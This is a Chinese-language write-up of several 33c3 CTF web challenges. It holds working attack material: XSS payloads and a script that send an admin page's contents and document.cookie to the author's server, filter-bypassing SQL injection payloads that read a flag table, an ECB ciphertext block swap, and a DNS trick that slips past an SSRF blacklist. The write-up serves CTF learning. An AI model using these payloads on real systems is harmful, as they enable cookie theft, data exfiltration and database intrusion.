33c3 CTF web WriteUp

最近不知道怎麼回事,整個人只想學學新東西不太想做題。
好吧不是dota2更新7.0的原因,真的不是。。

元旦high過之後想了想,趁着題目還開着,還是把33c3的題補一下好了。。

感覺33c3的web題目的分值分配有問題,有的高分題很簡單,有的低分題卻很難。

web175 yolovault

首先隨便註冊個賬戶登陸進去,然後看看大概功能,有個寫留言的地方,有個發東西給管理的地方,發的鏈接管理員會直接訪問,加上題目源碼裏這樣一段

     <!-- admins only <li><a href="/?page=leAdminPanel&debug">Admin Panel</a></li> -->

然後大概估摸着是個xss了,但是隨便試了試也沒啥思路。
看看鏈接腦洞下,如果不傳page參數呢。。

http://78.46.224.71/?debug

發現多了一個view-source的按鈕,然後跳轉到http://78.46.224.71/?page=debug&what=index拿到這樣的源碼:

<?php 
include("functions.php");
if (isset($_GET["page"])) {
    switch ($_GET["page"]) {
        case "debug":
            if (isset($_GET["what"])) {
                download($_GET["what"]);
            }
            break;
        case "profile":
        case "secret":
        case "contact":
        case "logout":
        case "login":
        case "register":
        case "leAdminPanel":
            include $_GET["page"].".php";
            break;
        default:
            header("Location: /");
            break;
    }
} else {
    include("header.php");
?>

<div class="container">
    <div class="row">
        <div class="col-md-6">
            <ul class="list-group">
            </ul>
        </div>
    </div>
</div>
    <div class="jumbotron text-center">
    <h1>YOLO VAULT</h1>
    <p>-- under construction --</p>
    <p></p>
    </div>
    <div class="container">
    <div class="row">
        <h3>full features coming soon...</h3>
    <?php if (logged_in()) { ?>
        <p>Until then,  store one secret <a href="?page=secret">here</a> !</p>
    <?php } else { ?>
        <p>Making your secrets secret again, cause you only live once d00d. <a href="?page=register">register now!</a> </p>
    <?php } ?>
    </div>
<?php } ?>
</body>
</html>

既然這樣拿到了index.php,那麼依次就把所有的源碼都搞下來把。
然後就是代碼審計。
看看源碼加上之前的猜測是xss,那麼就尋找能夠打印出來的地方。發現基本上都被htmlspecialchars了,但是在profile.php下發現漏網之魚

......
......
<div class="form-group">
                <label class="col-md-4 control-label"></label>
                <div class="col-md-4">
                <p><h3><?= $_SESSION['username']?></h3></p>
                </div>
            </div>
......
......

有了這個地方現在需要理清一下思路了。
我們有一個可以觸發執行js的地方,然後可以發送一個鏈接讓admin訪問,但是有一個問題,要是想要觸發執行js,那麼就必須註冊一個例如名爲<script src='http://104.160.43.154/a.js'></script>的賬戶然後登錄,這樣子的話就會註銷原有admin的回話那麼就會導致無法訪問flag所在的網頁。
那麼我們就可以通過兩個iframe來完成我們的目的。
在我們構造的頁面可以這樣設計,首先在admin會話存在時用第一個iframe去訪問http://78.46.224.71/?page=leAdminPanel,然後構造一個登陸表單登陸名爲<script src='http://104.160.43.154/a.js'></script>的賬戶,並設置target到第二個iframe,然後讓第二個iframe跳轉到profile頁面執行http://104.160.43.154/a.js,這個位於第二個iframe裏的a.js的作用就是獲取第一個iframe的內容併發送給vps,這樣子就完成了整個xss的過程。

ps:這裏由於兩個iframe的內容是同域的,雖然和父頁不同域,但是根據同源策略兩個iframe相互是可以訪問對方的資源的。

那麼我們提交的html如下:

<html>
<head>
</head>
<body>
<iframe id='1' src='http://78.46.224.71/?page=leAdminPanel'>
</iframe>
<form action="http://78.46.224.71/?page=login" method="POST" target="profile">
    <input name="username" type="text">
    <input name="password" type="password">
</form>
<iframe id='2' name="profile" src='http://78.46.224.71/?page=profile'>
</iframe>
<script>
var xss= "\<script src='http://104.160.43.154/a.js'\>\<\/script\>";
$("form input:eq(0)").val(xss);
$("form input:eq(1)").val('123');
$("form").submit();
window.top.frames[1].window.location.href='http://78.46.224.71/?page=profile';
</script>
</body>
</html>

然後我們的vps上的a.js如下:

var d = window.top.frames[0].window.document.body.innerHTML;
$.get('http://104.160.43.154/xss/?a='+escape(d),function(data,status){});

最後測試的時候估計是服務器的bots關了,不過應該沒有什麼大問題了把。。要是各位師傅發現什麼問題請一定要私信我。。。

web175 Shia

這道題很容易先找到這個地方http://78.46.224.75/quote/1這個地方,這個地方的1存在注入,試試2和1+1,發現返回一樣的,那麼也就是說這裏是個數字注入點。
但是經過簡單的測試發現空格和很多代表空格的特殊符號都被過濾了,就只剩下%0d還可以使用,然後簡單測試聯合注入的列數

http://78.46.224.75/quote/0%0dorder%0dby%0d3
http://78.46.224.75/quote/0%0dorder%0dby%0d4

發現是3列。
然後聯合注入發現最需要的逗號被過濾了,而且像是union、select都過濾,但是可以雙寫繞過,那麼想到通過子查詢聯結表來湊齊3列。
即例如這樣子

http://78.46.224.75/quote/0 union select * from (select 11)a join (select 22)b join (select 33)c
由於過濾改寫如下:
http://78.46.224.75/quote/0%0duniunionon%0dselselectect%0d*%0dfrom%0d(seselectlect%0d11)a%0djoijoinn%0d(selselectect%0d22)b%0djojoinin%0d(seselectlect%0d33)c

這樣子就能夠執行select語句並回顯。
這裏寫圖片描述
2233都回顯了。
所以我們思路繼續往下走就是爆破錶名列名之類的了。
然後就遇到了棘手的問題,就是下劃線被過濾了。也就是說我們沒法兒訪問information_schema庫了。
這直接影響就是我們沒有辦法獲取到表名和列名了。表名能夠猜到是flag,加上提示表一共有4列。可是問題在於我們沒有辦法知道列名是啥也就很難直接獲取flag。
但是我們知道一個信息就是一共4列,然後想到還是可以用聯合查詢來代替掉表名,類似與webhacking.kr上有個題,我們看下面的例子

mysql> create table test(
    -> id varchar(100),
    -> name varchar(100));
Query OK, 0 rows affected (0.01 sec)

mysql> insert into test values('1','name1'),('2','name2'),('3','name3');

mysql> select i.1,i.2 from (select 1,2 union select * from test)i;
+------+-------+
| 1    | 2     |
+------+-------+
| 1    | 2     |
| 1    | name1 |
| 2    | name2 |
| 3    | name3 |
+------+-------+
4 rows in set (0.00 sec)

可以看到我們通過括號裏面的select 1,2把列名已經換成了1和2,這樣在結合聯合查詢就不需要知道原有列名是啥就能成功獲取內容。
於是這裏我們的思路也就是如下:

union select * from (select 1)a join (select 2)b join (select i.3 from (select 1,2,3,4 union select * from flag)i limit 1)c

但是考慮到逗號被過濾了,改寫如下:

union select * from (select 1)a join (select 2)b join (select i.3 from (select * from (select 1)d join (select 2)f join (select 3)g join (select 4)h union select * from flag)i limit 1)c

然後像是unionselectjoin都需要雙寫繞過過濾,加上用%0d繞過對空格的過濾,最後的payload:

0%0duniounionn%0dseselectlect%0d*%0dfrom%0d(seselectlect%0d1)a%0djoijoinn%0d(seselectlect%0d2)b%0djoijoinn%0d(seselectlect%0di.3%0dfrom%0d(seselectlect%0d*%0dfrom%0d(seselectlect%0d1)d%0djoijoinn%0d(seselectlect%0d2)f%0djoijoinn%0d(seselectlect%0d3)g%0djoijoinn%0d(seselectlect%0d4)h%0duniounionn%0dseselectlect%0d*%0dfrom%0dflag)i%0dlimit%0d1%0doffset%0d5)c

注意調整limit和offset的值,因爲這裏逗號被過濾所以使用offset來代替逗號的功能,
截圖如下:
這裏寫圖片描述

web150 try

應該是一道上傳執行的題,但是不想做了。。。所以跳過了

web200 pwn2win

在買cheap的時候重定向這裏有一串字符

這裏寫圖片描述
多次購買發現字符有些地方不變有些地方是一直在變的,但是可以看出,買cheap的時候開頭結尾的一部分值是不變的,猜想這裏是被加密的,加上觀察這段密文應該是被hex過的,也就是密文只有48位,所以猜想應該是某種加密方式,而且關鍵是中間部分一直在變化但是尾部並沒有變,也就是說應該是ebc模式編碼,那麼隨便用買cheap成功的不不變的部分替換買flag的對應部分,結果把結尾替換下就能成功買下flag



232c66210158dfb23a2eda5cc945a0a9 650c1ed0fa0a08f6 cc790d4c646aafed 9a216475b31628522f7ef761e2bbe791 //買flag 失敗
5765679f0870f4309b1a3c83588024d7 c146a4104cf9d2c8 b6e54d0a1b1b7a4e 28df361f896eb3c3706cda0474915040 //買cheap 成功
5765679f0870f4309b1a3c83588024d7 650c1ed0fa0a08f6 ddfc2c4ea92045bd 9a216475b31628522f7ef761e2bbe791 //買flag 成功

截圖如下:

這裏寫圖片描述

web250 YOSO

首先簡單看看這個網頁的功能,
大概就是可以向admi發送一個鏈接。
然後就是可以下載搜索的的書籤等等,
初步猜想也是一道xss,然後想辦法獲取管理員的cookie,
然後下載書籤這裏download.php存在參數zip
而且沒有過濾。

http://78.46.224.80:1337/download.php?zip=%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E

測試彈窗成功
那麼直接開始構造拿管理員cookie,之後直接登陸下載書籤即可。
payload如下:

http://78.46.224.80:1337/download.php?zip=%3Cscript%3Ewindow.location.href=%22http://104.160.43.154/xss/?a=%22+document.cookie%3C/script%3E

web400 list0r

首先隨便註冊登陸下,沒發現什麼有用的東西,然後用admin:admin登陸,發現登陸成功了,在裏面得到hint說是flag在/reeeaally/reallyy/c00l/and_aw3sme_flag下。
直接訪問不行。
再回去看看有沒有什麼遺漏的地方。
發現page參數有點詭異,有點像文件包含,試了試果然是文件包含,那麼順勢用php://把所有的源碼拿下來
接下來就是代碼審計,
既然有文件包含,加上profile出有上傳文件,那麼初步想法是上傳圖片馬包含,看profile.php上傳點:

require_login();

if (isset($_POST["fname"]) or isset($_POST["lname"]) or isset($_POST["bio"]) or isset($_POST["pic"])) {
    $pic_name = NULL;
    if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
        $pic = get_contents($_POST["pic"]);
        if (!is_image($pic)) {
            die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
        } else {
            $pic_name = "profiles/" . sha1(rand());
            file_put_contents($pic_name, $pic);
        }
    }
......
......

發現上傳後文件被重命名了,而且沒有後綴
index.php包含文件代碼如下:

<?php

if (isset($_GET["page"])) {
    include $_GET["page"] . ".php";
} else if (logged_in()) {
    $lists = get_lists();
?>

後來發現沒有辦法截斷php,那麼這種上傳包含的想法作罷。
再看看別的地方。
發現這裏上傳點的處理不同,因爲這裏的上傳不是單純的傳文件,而是給它一個鏈接,服務器去鏈接上去內容,
那麼也就想到了直接讓服務器把/reeeaally/reallyy/c00l/and_aw3sme_flag的內容取出來。
看看它的get_contents()函數如下:

function get_contents($url) {
        $disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

        do {
            $url_parts = parse_url($url);

            if (!array_key_exists("host", $url_parts)) {
                die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
            }

            $host = $url_parts["host"];

            if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
                $ip = $host;
            } else {
                $ip = dns_get_record($host, DNS_A);
                if (count($ip) > 0) {
                    $ip = $ip[0]["ip"];
                    debug("Resolved to {$ip}");
                } else {
                    die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
                }
            }

            foreach ($disallowed_cidrs as $cidr) {
                if (in_cidr($cidr, $ip)) {
                    die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
                }
            }

            // all good, curl now
            debug("Curling {$url}");
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
            curl_setopt($curl, CURLOPT_TIMEOUT, 3);
            curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
                & ~CURLPROTO_FILE
                & ~CURLPROTO_SCP); // no files plzzz
            curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

            $data = curl_exec($curl);

            if (!$data) {
                die("<p><h3 style=color:red>something went wrong....</h3></p>");
            }

            if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
                die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
            }

            // check for redirects
            $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
            if ($status >= 301 and $status <= 308) {
                $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
            } else {
                return $data;
            }

        } while (1);
    }

發現它對ip進行了限制,而且如果你傳的是域名,它會先解析,在判斷。
那麼這裏有個思路就是調整dns的解析,什麼意思呢?
我們知道,當一條dns對應多個ip的時候,解析是隨機的。
我對我的域名的解析調整如下:

這裏寫圖片描述

將一個域名對應到兩個ip上,那麼

這裏寫圖片描述

可以看出隨機返回一條解析記錄。
那麼也就是說,我們多次提交如下鏈接:

http://bendawang.site/reeeaally/reallyy/c00l/and_aw3sme_flag

當服務器在判斷黑名單的時候如果把bendawang.site解析爲104.160.43.154,而在獲取內容的時候解析爲127.0.0.1,那麼我們就能成功獲取flag。
接下來就是不斷的提交,試了有5、6次之後順利拿到flag如下:

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章